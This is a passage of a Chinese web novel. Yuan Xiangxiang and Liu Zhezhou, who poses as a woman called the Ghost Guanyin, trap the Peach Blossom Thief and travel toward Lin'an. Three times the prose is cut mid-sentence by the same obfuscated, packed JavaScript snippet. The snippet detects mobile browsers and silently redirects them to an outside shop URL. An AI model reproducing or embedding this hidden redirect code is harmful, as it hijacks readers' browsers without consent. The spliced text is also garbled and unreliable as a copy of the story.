这般打扮她还是有些不习惯的。 “柳折舟想的什么?”她一边拽着绶带一边往外搜寻着柳折舟的身影,遍寻不见。 说好的陪我一起下地狱呢?原湘湘不禁有些气急:当时就不该有那么一刻信了他的鬼话! 她正准备进屋关门,就听楼下有个熟悉的声音唤她:“湘湘。” 原湘湘登时卡在门槛里,心如擂鼓。 她慌忙奔下楼梯,发带惊风而动,一个黄绿相间的身影急急来到楼梯口,她扶着楼梯不住地朝楼下张望。 只有些吃饭的来往顾客,络绎不绝。 直到目光扫过客栈大门外时,原湘湘眼神一滞,双目微张,霎时间春光盈面,冰封始解。 玄色的雕花木门外立着一个极为纤长细瘦的女子。 那女子手持一柄长伞,白纱遮住脸面,唯独一双漂亮精致的长眼还露在外,一身霜色映光粼粼,胭脂红霞绕领环绕,腰间挂着一抹朱红别纸扇,即便静若春树,也是气度非凡。 许是看见了愣在原地的原湘湘,门外的那女子收起长伞,无声地朝着原湘湘伸出手来,微微一偏脑袋,眸间笑意盈盈。 原湘湘瞬间瘪起了嘴,红着脸走了过去。 柳折舟在门外等了半晌,直到视野里慢慢映出一个浅绿色的身影时,婉转清灵,眼前一亮,他神秘兮兮地招手示意。 两个人一青一白,一前一后来到一处人迹罕至的亭子里,方才作罢。 柳折舟这才摘了遮面的白纱,好一张玉面长眉,清丽卓绝的脸露了出来。 原湘湘看着他,忽然间有些手足无措。 她心道:平日里就知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907307|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳折舟长相极为……极为好看,却不曾想,当他真的扮作女子时,竟是这般好看。 和那晚梦里的芙蓉花精有什么区别! 她蓦地开始呼吸急促。 柳折舟饶有趣味地盯着原湘湘看,单手撑着下巴,悠悠自在地看着表面冷静,实则心慌大乱却又故作镇定的原湘湘。 良久,察觉到原湘湘稳下心神,他才幽幽道来:“湘湘姑娘,这衣服有些地方你穿错啦。” 吃人嘴软,拿人手短。原湘湘虽然被他盯得满身不自在,她心中也有疑惑,但终归还是老老实实地乖乖把头伸了过去。 她的脑袋才刚刚伸过去,耳朵还没侧过来,柳折舟手快无比,忽然三两下便将她的蓬松卷发解开,她的背后瞬间散下一片略卷的长发,弯弯曲曲,蓬松柔软。 她眉头一皱,不知道他干什么,更不知自己该做些什么。 原湘湘感觉自己的脖子开始僵硬起来,想躲,却又不知如何去躲。 身体陡然间动弹不得,可感觉却灵敏得异常,她清晰地感觉到柳折舟的手指游移在她的发间,又在不时地翻越,头顶上传来酥酥麻麻的感觉,既难受又有一些难言的舒适。 两只骨瘦清白的手正在她的发间穿梭不停,片刻后,那头蓬松微卷的长发便被乖乖束成两个麻花辫,垂在她的胸前。 直到那阵摩挲着头皮的微微发痒的感觉停下时,原湘湘才如梦初醒——原来他只是想给自己换个辫子。 “……你。”原湘湘双目微睁。 “还没完。” 柳折舟不由分说地又将先前解下的珠花明珠一一缀在两根微卷的发辫上,又将原湘湘漏下的头巾一一戴好,帮她调整好发饰位置方才作罢。 她脱口而出道:“你怎么会的这些?” “小时候是跟姑娘们一起长大的,慢慢就会了。”柳折舟也是不假思索地陈述着,语气平淡的就好像在谈论一日三餐。 柳折舟看见原湘湘的古怪脸色,知道她向来脸上少有颜色,一旦有了,那便是遇到了大事。 她自顾自地想到,那个铁匠师父曾经将她的头发一把剪光。 “手艺比我师父好多了。”原湘湘丝毫不理会他的解释,面上愁云密布,她道,“之前,你说你……” “我是直的!”柳折舟慌忙惊叫,面上堪称是花容失色。 原湘湘还没说完,他就预感到下面她要说什么。 他真是在这件事上纠结许久了!怎么说呢,当时他以为原湘湘是不是喜欢女人,话到嘴边去问老大夫时,突觉不妥,只好稀里糊涂说成自己喜欢男人怎么治…… 结果不成想,又被原湘湘听了个遍。 原湘湘又道:“那怎么……” 话还未说完,他就抓起原湘湘的两手,自己的双手拥着原湘湘的手,将她那两只细瘦的手紧紧贴在自己颊边。 半晌,不知是气是急是羞还是哭,面上染醉,垂眸凝眉,恍恍惚惚道:“我……可以证明。” 原湘湘看着他,眉毛轻轻一挑,心中竟然莫名畅快起来。 证明?怎么证明?这般证明么? 柳折舟左眼窝里的那颗小痣,就那么随着他的一字一句荡漾在原湘湘的心里。 她忽然鬼使神差般的将脸凑了过去,两手轻轻捧着柳折舟,两个人的距离几乎呼吸可闻,她就那样瞪着眼睛审视着快要熟透的柳折舟。 忽然间轻笑出声:“这可是你说的,我什么也没说~” 柳折舟闻言只觉一股热浪直冲天灵盖,他紧紧握住原湘湘的手,将自己的脸际全然埋进她的掌心。 从他口鼻中呼出的滚烫气息,如浪潮一般席卷而来,一遍遍冲刷着原湘湘的全身。 有那么一瞬间,她的脑海中有一道白光劈过。 她对自己说:原湘湘你就是舍不得这张脸吧…… 49.春心荡白蛇压倒青蛇(下) 天水城街头,道路两旁商铺鳞次栉比,往来商贩热闹,入眼春光柳色,过耳桨声连连。 原湘湘故意放慢脚步,目光落在前方不远处的身影上。 那人一身霜色长裙,白纱遮面,持伞挡影,满头青丝只别了一根木簪,简约素雅,如云似雾,气度天成。 她想着,若是柳折舟真的束起高发,头戴莲花宝冠,披上白纱,风过处,长目低垂,飘渺无涯,真是有几分观音再世的意味。 许是察觉到身侧少了熟悉的脚步声,那持伞的“女子”脚步一顿,便回身寻找着。目光逡巡片刻,直到视线落在原湘湘身上时,眼中才现笑意。 春风拂绿水,新柳漾波心。 柳折舟飘了过来,他不由分说地牵住原湘湘的衣袖,俯身贴在原湘湘的耳侧,问道:“湘湘姑娘,站着出神,是在想些什么?” 原湘湘轻轻呼了一口气,似是游移不定,半晌后挣脱他的手,慢慢往前行。 方才那温热的触感从手边擦过,她的心头一颤,像是被烛火烫到一般,便立刻收回了手。 心跳得呼呼的,就好像真的被火焰烫伤一般。 柳折舟偏偏头,毫不在意,径直跟了上去。 不多时,二人已置身于一艘小船上。 “你说,我们这样真的能钓到桃花大盗?”原湘湘两手覆上自己头顶上的头巾和两条麻花辫,“像这样在大街上招摇过市。” 她对柳折舟的额外技能还是很吃惊,对他的脑回路也很怀疑。 悠悠水间,碧波荡漾,曲水流花不堪摘,恰是春光正好。 柳折舟偏头看了一眼那头的船夫,见那老翁只顾埋头摇船,他便松开了嗓子,道:“洛铃姑娘不是说了么,他来天水城就是为了找姑娘赚钱的!眼下又有多少年轻姑娘敢走在街头,我们现在就相当于饿狼眼中的肉!” 他的声音一直都是清清柔柔的,说的话却总是教人不着边际。 原湘湘默默扶住了额头,她有些无精打采。 柳折舟见状,便又挪到原湘湘身侧坐着,一把纸伞开,两条人影无。 柳折舟将她的神色看在眼里,心头微微一沉。 他自是有自己的打算。 当初一时口快非要开口试探她的心意,问她要不要去那死城冒险……谁知她竟毫不犹豫地应下,如今箭在弦上,柳折舟反而怕了。 他又不知该如何以鬼观音的身份再将她撵回去。 想到这里,他的心里又开始抽痛起来,现下便是非常痛恨自己怎么就着了沈如絮的道,非要替代她呢? 如果十年前不是以沈如絮的身份出现,而是以柳折舟的身份出现,说不定此时……湘湘心中念着的就是……唉……不想了。 拖一天是一天吧。 “湘湘姑娘,”柳折舟问她,“是非去不可吗?” 原湘湘想也不想,道:“我决定的事就一定要自己去做,鬼观音必须要三分剑鞘,而我回到这里也有一些事情要处理。如果……” 她想到了柳折舟,便改口道:“如果你不方便,可以留在天水等我。” 柳折舟听她这样一说,心中急得似火烧,赶紧解释道:“我说过,哪怕是黄泉地狱,只要是我柳折舟有生之年,我一定会陪着湘湘姑娘一起的!” 他又像初遇时那般,只要他说出的话没人相信,便会立刻垂眉露出一副可怜兮兮的样子。 原湘湘最怕他的眼。只要一着急,他就会眼中带着似有若无的水光,萦绕一片薄红。 她只好偏过脑袋装作不在意,道:“那你就跟着吧。” 柳折舟这才心满意足地盈盈一笑。 碧水落花,桨声连连,三月日暖渐生烟。 小船吱吱呀呀在水中荡着,原湘湘坐在船尾,那晃晃悠悠的影子就那么趁着声响,搅得她几欲睡着。 耳畔似有敲锣打鼓,正在半醒半梦间,她忽然惊醒,原是柳折舟扯住了她的衣摆,叫道:“湘湘姑娘快看!” 他眸间清亮,一抹笑颜飞绽,激得原湘湘立时打起精神来,顺着看过去。 “对面,岸边是不是有两个人跟我们一样!” 她顺着柳折舟手指的方向看过去,原是岸上一处宽阔院落,里面有一个小小的戏班在做演练,除却旁边拉曲儿的,就只剩柳折舟手指之处的一对小生花旦扮相。 “啊。”喉间好一声枯长的应答,脸上一副“你是笨蛋吗”的表情。 柳折舟见她这般冷淡,蹙起眉头,便道:“湘湘姑娘,我是说,我是说,岸边那两个人,是不是也和我们俩一样?” 他这次不仅伸直了胳膊出去,还用手指在对面那处点了两次,生怕原湘湘没看见。 原湘湘瞪大眼睛仔细看了看,随后狠狠点头,生怕他觉得自己点头不够标准。 那岸边一小生一身青衫,腰束玉带;一花旦,周身浅红罗裙,鬓角戴花。两人比肩而立,确有几分郎情妾意的亲密模样。 柳折舟见她如此敷衍,反倒垂下眉来:“怎么?难道我说的不对嘛?” 原湘湘还在默默点头,半晌后才慢慢说道:“是,也不是。” “怎么?” “我们是活人,岸上那是穿了戏服的木头假人。” “……啊,原来如此。”他猛地一怔,脸上的兴奋霎时褪去,故作镇定地轻咳几声。 原湘湘察觉到他有异常,双目微眯,下意识地咬住了下唇。 二人并坐小舟之上,头顶上方是朗朗晴空,花树纷飞;船下则是舟行碧水,落花有意。 柳折舟正在伤心忧虑中时,又听耳边一声淡淡的命令:“把手给我。” 他伸出一手递过去。 “不对,是那一只。” 他轻轻一抛,将纸伞左右换了个位置,右手递了过去。 原湘湘知道,柳折舟右手掌心的第二条线旁长着一颗小痣。 现在掌心还多了一个小小的,圆形的疤,像是被某种极细极尖锐的武器刺穿留下的。 反而在奉国寺茶馆里为她抓剑挡剑的伤痕消失得无影无踪。 她一手抓着他的手腕,一手轻抚他的掌心。 那颗小痣和疤,就像是通红乱蹦的火星子,烫着原湘湘的掌肉,就算是烧破了皮,她也舍不得放手。 正在出神间,脑中也不知虚浮迷离着些什么,原湘湘只觉身子忽然一轻一沉,她就被压倒在了小船之上。 原是柳折舟左手护着她的后脑,右手又拉着她的手。 “你怎么突然……”这样? 话还没出口,她正企图推开他,却发觉整个人如同被箍死了一般,动弹不得。 柳折舟看着虚弱,他的手劲儿原湘湘之前可是领教过的。 既然推不开,那就索性不动弹不反抗也不挣扎。 她能很明显地感觉到柳折舟的右手手指轻轻笼进她的指间,恰似十指相扣的模样。 原湘湘被他弄得有些承受不住,刚想开口说“你快起来”,便被一股凉意浇灭了所有的羞赧与燥热。 “湘湘姑娘,是不是……是不是只喜欢这个样子的我?” 柳折舟压着她,长身和白衣盖着她,分外好看的脸埋在她的颈肩里——那成片的凉意也从他颤抖的声音里湿得更透更凉。 “……”原湘湘不置可否,现下别说柳折舟为什么突然这样子,她也不知为何自己也意乱如麻。 “……你是不是只喜欢这个样子的我……”柳折舟嗫嚅着,唇角也贴近她的耳边,生怕她听不见,心不乱。 原湘湘的耳朵里刚钻进那股凉气,她便觉得自己像是被点燃的炮仗,终于是憋不住炸了! “对对对!” 她企图推开他,可是柳折舟却似乎抱得更紧,本想给他来点儿颜色瞧瞧,可最终还是选择乖乖任由他抱着。 她在桨声连连里,隐约听见了柳折舟喉间溢出的破碎的呜咽。 它们一同顺着颈间的凉意湿透了原湘湘的衣衫。 柳折舟的声音细细碎碎的,她依稀听得见他在说什么“湘湘不要看我”“为什么我是个男子,不是女子”之类的糊涂话。 最终一切都淹没在原湘湘伸出双臂回抱他的那一瞬,他再也不敢多说一个字,也不敢多动一下…… 他在回忆着,似乎只有在鬼观音的面前,原湘湘才会有更多的额外的表情,甚至是说话的语调都不一样……像那般轻抚着自己的手,也是以“女子”的身份出现的…… 正如今天。 他以柳折舟的身份询问过,也以鬼观音的身份询问过:“湘湘姑娘是不是喜欢鬼观音?” 原湘湘每回都是毫不犹豫地回答“是”。 她喜欢女子是我造成的,可我不是女子又该找谁说呢? 她若是知道了鬼观音就是个男人,会不会……彻头彻尾地讨厌我? 若是让她和沈如絮见面……不行!绝对不行! 一想到原湘湘和沈如絮俩人若是见了面,指不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918322|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就会相亲相爱抱在一起,光是想到那个场景,他就气得想给自己一锤子! 柳折舟这边脑内正在天人交战中,他不记得及时松开原湘湘,但还记得不要那么容易把湘湘从怀里松开。 轻轻的,暖暖的,宛若落花浮水一般轻盈美丽的少女。 身后传来的回抱让他忽然惊住了眼泪,便连忙抬起头来,梨花带雨一般,冲刷着原湘湘的心。 原湘湘拧着眉头,似乎意有所指,她道:“你……就没有什么其他的话要跟我说吗?” 她似乎在期待着什么。 柳折舟听原湘湘这样一说,便立时反应过来了,她应是怪罪自己突然上手抱住了她。 这跟流氓有什么区别! “对不起。” “为什么‘对不起’?” “……不会有下次了。” 柳折舟正流恋恋不舍地准备起身离开,眼前瞬时贴近一张毫无表情的脸—— “湘……疼!” 名字还未说完,额头就吃了一记飞痛,原湘湘给了他一个头槌! 她是有些按捺不住了! 怎么会有这么磨磨唧唧又犹犹豫豫的人! 柳折舟这下是浑然清醒了! 纵然是原湘湘这般好脾气的人,纵然自己对她再是心生情意,也不该趁着穿女装的时候去占湘湘姑娘的便宜! 可自己头痛,砸过来的湘湘不也头痛吗? 这样想着,他又凑了过去:“湘湘姑娘,我们一定要去临安吗?” 原湘湘淡淡扫了他一眼,眼中看似古井无波,实则无言以对。 她也在心中盘算着:撒谎精!最开始要自己去,如今却又百般拖延不愿意去……既然如此,那就更要去! 第四日午后时,行至一石桥处,两岸垂柳拂波,水中乌篷两三,人群熙熙攘攘。 柳折舟在桥对岸的四角凉亭里朝她招手,而她正欲过去时,走出五步不到,便被人轻轻撞了一下。 “姑娘,你的簪花掉了。” 她的耳畔忽然闯进一声清朗响亮的叮嘱,好似桥下溪水泠泠作响,水中映月溶溶若空。 紧接着原湘湘察觉到自己的发间被人插进了什么东西,还来不及道谢,就只见一个瘦高清冷的黑色身影犹如潜鱼入水般,倏忽不见了踪迹。 她一头雾水地摸摸头,却从发间摸下来一枝颜色清浅却开得灿烂的桃花,正好和她的衣服凑了红配绿一身。 傍晚回去客栈时,柳折舟见她心事重重,便问道:“湘湘姑娘你累了?” “没有。”她摘下那枝极为灿烂的桃花。 柳折舟接过原湘湘手里的桃花,又是看又是闻,后又放回她的手里,道:“纸花而已,不过用材讲究,手艺精巧,若说起来,现在正是桃花时节,这花能够以假乱真,可见制作者的用心和手艺程度之高。” 原湘湘腹诽:啊?你在关心些什么?有人突然往我头上插了一朵花,明显就是做了标记,那么明显的红配绿,我走了一路,你居然都没看见吗? 我不信。 柳折舟眉头轻挑着,悠悠然笑起来,摇着扇子缓步走来,轻声慢语道:“湘湘姑娘,我有一事相求……” 他的声音慢慢散进原湘湘的耳朵里,好似风拂乱的残叶,飘飘摇摇而下 入夜,月上三更,月朗星稀,江南水暖气温,夜间虫鸣草动也清晰可闻。 原湘湘关上门窗,吹灭灯火,上床睡觉。 她的客房窗下就是条小街,此刻早已没有人迹,巷内寂静无声。 夜色沉沉,星光稀疏。 窗外瓦片发出一声轻响,而后窗户纸被捅出一个小孔,一缕青烟顺着那小孔飘进了原湘湘的房间。 黑影熟练轻巧地打开窗子,悄悄没有一丝声响,黑衣人翻窗而入,他翻过原湘湘朝向床里的脸,对着左手里的一张画像仔细比对半晌,最后垂下了肩膀。 那画上的是一个用黑墨画的乱七八糟的女子的脸,面目不够清晰,就剩俩只铜铃似的大眼和一头乱蓬蓬的卷发。 黑色人收起画像,便掀开被子,抬起原湘湘穿过窗户就要跑。 “来者是客,不喝杯茶不是我的待客之道。”突然窗下有人朗声说道。 黑衣人身影停滞住,卡在窗框中,肩上耷拉着的原湘湘像根蔫掉的柳条,晃了几下。 黑衣人心下一慌:什么时候来的人? 他朝下看去,是个一边摇着扇子一边浅笑的公子。 50.经典客栈只剩一间房 黑衣人见楼下站了一个摇扇的公子,满面笑颜看得他浑身不适。 此人一身胭脂红的里衣,素色缠枝莲纹样长衫,外罩枝黄色薄纱袍衫,腰间垂着一枚湖水绿芙蓉玉佩,看色泽和质地,价值不菲。 “把她给我。”柳折舟口气突变,竟然有丝丝不容抗拒的威严:“你也留下。” “就凭你?”黑衣的男人小声嘀咕着,“老子今天偏要走!” 黑衣人正欲翻窗而逃,却不料前胸突然传来两股巨痛,有人打中了他的大穴,浑身动弹不得! 这一回,他是真的动也不能动了。 “不然,你以为凭谁呢?”蓦然飘来两句又冷又清的声音,将那黑衣人吓了个大跳。 他顺着声音来处,咕噜两只眼珠往身下看,正好对上另外两只铜锣似的大眼珠子直勾勾盯着他。 “你、你怎么跟鬼一样!!!”黑衣人后背冷汗骤起,尖叫道,“阁下到底何人?江湖上竟未听过你的名号?我不该被赏金迷了眼!我不该动姑娘您的心思,是我的错,还请姑娘阁下高抬贵手!” 原湘湘被他说得一头雾水:什么赏金?要抓的不是江南首富千金吗? 不知何时,柳折舟已入了房,他拿起桌上那枝桃花,摩挲几下,好似在轻抚情人的脸颊般柔和。 原湘湘也顺势从黑衣人的肩头滑落出来。柳折舟见她动作流利,先前悬着的半颗心,才稳稳落回胸膛里。 黑衣人见这二人悠游自在,突然反应过来,这就是给他下好了套! “你们竟然没有被迷晕?你们到底何许人也?你们设计专来抓我的?我怎么一点也不知道你们的底细?” 柳折舟悠悠道:“可我知道你,敲门撬锁行偷鸡盗狗之事乃是一绝。至于迷药一事,我们只是略施小计罢了。” 那人闻言,心头大颤,竟然有几滴汗珠滑落进遮面的黑布里。 但他直觉也知此人并不会轻易取自己性命,否则他也不会特意设下这个局,专门请自己入局了。 “阁下有话好说,千万别把我送到官府,这行当我已许久……我早就金盆洗手了!”他惊慌之际,连自己的老本都快吐完了,“我还有一大家子要养呢!” 北山上的一群妹妹们还等着他平安赚钱归来呢!怎么就这么出师不利,刚下手就被抓? 果然呐,这么顺利的只能是杀猪盘! “‘桃花大盗’方玉堂。”柳折舟慢悠悠地坐下,扇着毫无意义的扇子:“出身神盗门,于风水八卦五行最是精通,早年劫富济贫,专偷无良富豪,贪官污吏。但不知为何后来变成了只偷姑娘……” 柳折舟越是说,他越是慌。自己对眼前这个男人一无所知,而他对自己了如指,就不该在人群中瞄上这个姑娘……而且这黄绿衣裳的少女竟然也不容小觑! “……的脚底板。”柳折舟缓缓说完了最后三个字时,颇为自在地抿抿嘴。 “你到底想干什么,只要不送官府,你要我做什么我都答应你!”方玉堂气急败坏道,“兜那么大个圈子……嘁!还专门针对我的秘药留了一手,你真是可以的!” 柳折舟揶揄道:“你既被我抓了,帮我个忙不过分吧。谁要你那么笨。” 柳折舟眼角眉梢都是笑,不知为何,那笑落在方玉堂眼里却如同恶鬼狞笑。 “你才笨!”他这样弓步卡在窗框里,还屈着一只手,难受至极崩溃道,“你那么长一条姑娘走在街上,你当别人看不出来吗?你以为你——” “夜深了,安生点!别扰了湘湘休息。”柳折舟眯着眼睛笑笑走到方玉堂的身旁,扯了他的面罩,扇柄“啪嗒”两下,又朝他的嘴里拍进了一粒药丸。 还点了他的哑穴。 原湘湘在旁将这一切尽收眼底,依旧不言不语。 她注意到了,柳折舟从方才进屋开始就一直与她保持着距离。 是我多心了吗?她直觉有异。 方玉堂欲哭无泪:你到底给我吃了什么啊啊啊啊啊! 急促的马蹄声渐渐从远方的昏暗里靠近,残阳斜挂在林间,马蹄疾驰落在地面上,扬起的灰尘停滞在越发昏暗的夜色里。 蹄声如雷,扬起烟尘万丈,驾马而行的黑衣男子纵横在高大挺拔的白杨林间,而他的身后紧跟着一辆马车,看那紧追不舍的架势,驾车人似乎也不愿落于下风,直把那车厢颠得哐啷作响,似乎快要散了架。 方玉堂在前头驾马引路,原湘湘驾车飞奔在后,丝毫不落后半分。 车厢里,柳折舟正闭着双目,面色隐约不佳。 不多时,他才缓缓睁开眼睛,那双长目里一片氤氲黯淡,车子外,方玉堂正和原湘湘说着什么,他听得不甚清楚,就连眼前也渐渐模糊起来起来。 方才,他的心口间又涌出一股血腥气,无奈只好强行咽下。他伸手在身旁摸索了片刻,才摸到那把洒金白纸扇。 车内并不明亮,便伸手用扇子挑起了车帘一边,春柳般柔和的长目瞬时便眯了起来。 只见原湘湘正驾着马,她微微拱起前身,身后那把繁复奇丽的青黑色短刀露了出来。 柳折舟连人带刀缓缓打量半晌,复又放下帘子,隐身没入车中。 他想,如果一切都是自己招惹出来的,那是不是只要就此打住,事情就还有的救。 比如,既然注定活不久,那也确实不该把她牵扯进来。 方玉堂心中一千个一万个可惜怜惜:这么个清灵娟秀的姑娘,却要给一个不知底细的男人赶马车,他们到底什么关系?她是真不知还是假不知? 他可以肯定笑面夜叉绝对是个扮猪吃老虎的,那夜叉盯着这么个姑娘有何目的呢?看上她了? 还有这个原湘湘,虽说问什么答什么,可问了半天竟然也问不出半点有用的信息! 方玉堂仔仔细细打量着原湘湘,心下暗道:此女绝对不简单,指不定谁吃谁呢。 他们从天水城出发,要到宣州地界,疾行狂奔最快也得四日,再去临安城,又需两日左右,如此一来,最快也需六日。 这几日来,原湘湘注意到自从他吃了自己一记头锤后,柳折舟似乎总是在躲着自己,鲜少说话。 就连商量抓方玉堂那晚的侧耳倾听,他也是和原湘湘保持着一个反常的距离。 今晚,他们在一个驿站旁的小客栈落脚。客栈虽不大,但由于地理位置极其便利,离宣州也近,生意也还过得去。 原湘湘和方玉堂二人整齐划一地去了马厩,拴马,喂马,随后原湘湘提着柳折舟的钱袋子到客栈柜台:“老板,要三间房。” 那老板不好意思道:“不好意思啊姑娘,我们这儿小店,现在只剩一间客房了,可以给您优惠价一两银子。” “什么?只有一间房!老板你不要看我和这位姑娘站在一起就故意撮合我们吧?”方玉堂已经伸头过去和客栈老板理论了,“老板你少看点话本子,我可是正经人!别看我家里一堆和我没血缘关系的妹妹!” 方玉堂气呼呼炸毛,此等侮辱他名誉之事那是一点不能忍!澄清!必须立刻澄清! 那老板被他抻直的脖子越逼越后,手里记账的毛笔都被吓得瑟瑟发抖:“这位客官,我不看话本子。” “不看话本子?那就是天天看账本子咯?”方玉堂瞥到那老板颤颤发抖的毛笔,他就慢慢捏了过去,一把将那毛笔夺过来,朝那老板脸上虚画一个圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928629|188800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威逼道:“天天看账本子,天天算盘珠子崩得乱飞是吧?就想着挣钱是吧?” 那老板本来还客客气气道歉,不曾想遇到这般蹬鼻子上脸的客人,反正一间房也赚不了多少,他顿时怒了起来,正欲发作,骂道:“这位客人您若是……” 一句话还未完,老板心脏“噗通”一下,整颗心七上八下地摸不着头脑!那毫不讲理的客人竟抓住了老板的双手! 方玉堂求签似的摇着掌中那双“老板手”,恳求道:“求老板师父教我发财!” 原湘湘从旁看着,脸上肌肉抽搐起来,额间挂着一颗晶晶亮的汗珠。 “教我发财教我发财!”方玉堂恳求不放。 “客人使不得啊啊啊!”老板被他缠得害怕。 “师父师父,我若是富了,绝不会忘了你的!” “客人您这又是何出此言呐!” 那两人还在一追一赶,争执不下,原湘湘实在看不下去,便上前拉架,不料又被方玉堂一块儿打包过去给老板拜年。 “老板师父,看在我们兄妹俩孤苦无依的份儿上,求您大发善心,给我们兄妹俩只一条明路吧。” 老板被他缠得无奈,可他确实说不出什么方法来,更何况给人当师父呢? “要不这间房便宜一点也可,我和妹妹挤一挤也是可以的!”他把原湘湘挎在胳肢窝里,憋得她直咳嗽。 柳折舟刚从外面进来,模模糊糊地就看见这么一幕,听见那么一句,立时脸色大变,风似的闪了过去。 方玉堂正为自己杰出的演技自豪,成功地打下了黑心老板的价格,还没来得及开心,左臂顿时一通痛麻如闪电般劈过,手臂直接软了下来! 柳折舟刚把原湘湘接了过来,就被一股不小的手劲儿往外推。 他不得不讶异一瞬。 “咳咳!”原湘湘终于得到自由可以呼吸了。 “‘挤一挤也是可以的’?”柳折舟真是被气笑了,他道,“我看你再多吃一颗十全大补丸也是可以的。” 说罢,他微微一笑。 什么?什么?这都是些什么?自己怎么就找了个这样的帮手!神盗门都是这么不靠谱的吗! 这还不是让他最崩溃的。 “啊,是这样的吗?”方玉堂一听见那“十全大补丸”声音便萎了下去,但心中的怒意却更盛。 他看着柳折舟和原湘湘,似乎有了一些盘算。 “他只是想砍价。”原湘湘慢慢道。 “对啊,我只是想砍价而已,一个驿站旅馆而已,居然还要一两银子?”说着说着,他的胳膊就圈在了原湘湘肩膀上。 “湘湘姑娘真好!不用明说就知道我的意思,不像某些人。”方玉堂故意撇撇嘴。 柳折舟本来是气愤伤心,可眼下更多是崩溃失落。 他看见方玉堂就那么把湘湘拉了过去,正如许久之前他做的那样,原湘湘依旧是木头似的面无表情。 他便是更伤心了。 方玉堂看他那个样子,心里的恶气顿时也出了不少,暗自道:“以后可要你好受。” “你说是吧,湘湘姑娘~”方玉堂可以把头也凑到了湘湘那边。 此刻她只想老天爷给她一条地缝让她钻进去。 “确实如此。”她取下了方玉堂的胳膊,依旧面无表情。 柳折舟从刚才开始到现在一句话也说不出来,他看那二人排排站着,又见原湘湘那一直无波无澜的反应…… 他又不争气地红了眼圈。 “湘湘。”他的声音里满是委屈,“原来我不是特别的那一个吗?” 方玉堂立时黑脸背过去,暗自啐了一口:“装!” 51.已是十年踪迹十年心 “那你们都出去吧。”原湘湘话音才落。房门“砰”的一声直接关上,将柳折舟与方玉堂二人硬生生晾在门外。 柳折舟立在门左边,方玉堂站在门右边,二人四目相对,尽是尴尬,不欢而散。 “此处不留爷,自有留爷处!”方玉堂哂笑,袖袍一甩,扬长而去,脚步声踏得分外妖娆。 他才不愿和柳折舟这个笑面夜叉待在一处。 柳折舟此刻倒像是被原湘湘附体了一般。 他的眉眼间一片沉寂,无波无澜。方玉堂离开后,他本打算也跟着离开,可一只脚已下意识地抬了起来,想去寻她——这个动作几乎已经变成了习惯。 末了,他终究停在了房门前,指尖伸出,又缓缓收回。 他心间思绪如麻:“此地距离临安不过三四十里路,湘湘生性刚烈,处事绝无回头之理……怎么办?要鬼观音再去劝她吗?” 此间烦扰,不过是柳折舟已开始厌了“鬼观音”的这个身份。 原先只是无感,加之他本身也不愿在江湖中用真名真姓,男扮女装,代人而活,于他而言,不过是掩人耳目的手段罢了; 可如今不同了,往昔种种,在他的眼前纷至沓来……最刺目的,不过就是原湘湘在“鬼观音”面前的反常痴态……眼波流转间的依赖,行举之间的轻笑——全然不似对“柳折舟”的那般。 好端端的,他竟对自己生起了妒意。 此时此刻,他真想推开门,抓住她的手腕问一句:“湘湘,你眼前的人从来都是我,可为什么在‘柳折舟’的面前你不会如此呢?” 他终究还是不敢冲进去。 答案早已明了于心:她不会对柳折舟倾心,但会对鬼观音痴缠。 柳折舟想到这里心里发了慌,手中的扇子被他握得变了形,脸上颜色也愈加惨淡,眼前模模糊糊,连唇上也泛着青气。 “她只喜欢鬼观音,对柳折舟却只是平常,若是让她知道了自己心心念念的观音是个骗子,是个男子……哪怕我用一辈子去偿还,她也一定不会愿意的。”他喃喃自语着,声音气若游丝。 犹豫半晌,他还是决定不再去打扰她。 如今,他恨自己为什么答应沈如絮,顶替她成为这尊假观音;更恨自己嘴欠,非要去试探原湘湘对“观音”的心意……可他怎么都没想到,原来有一天,他也会为了一个毫无血缘关系的人而辗转反侧,难以入眠。 原湘湘好不容易才从魔窟中逃了出来,有了爱她护她的师父师娘。 如今,自己又把她生生推往过去的深渊,不就是在把她往死路上逼吗? 十年前,动乱楚州,破破烂烂的小客栈,荒村野店,漫眼风卷沙尘,能在此地寻到个做生意的属实难得。 不多时,远处传来马蹄声,不紧不慢的,打破了这荒凉中的沉寂。 一人一马,自远处荒凉中来。 来人身姿细瘦高挑,衣裳红白相间,在这破败的楚州天地间好不耀眼。虽然被帏帽遮住了脸,看不见容颜,单从那马背上的姿态也能看出定是个极好看的人。 只是,那白是衣裳的白;红却是刺目的血迹。 楚州动乱荒芜多年,聚集在此的不是逃难的流民,便是沦落的盗贼草寇,试问哪一个不是刀口舔血的人精?个顶个的毒辣。 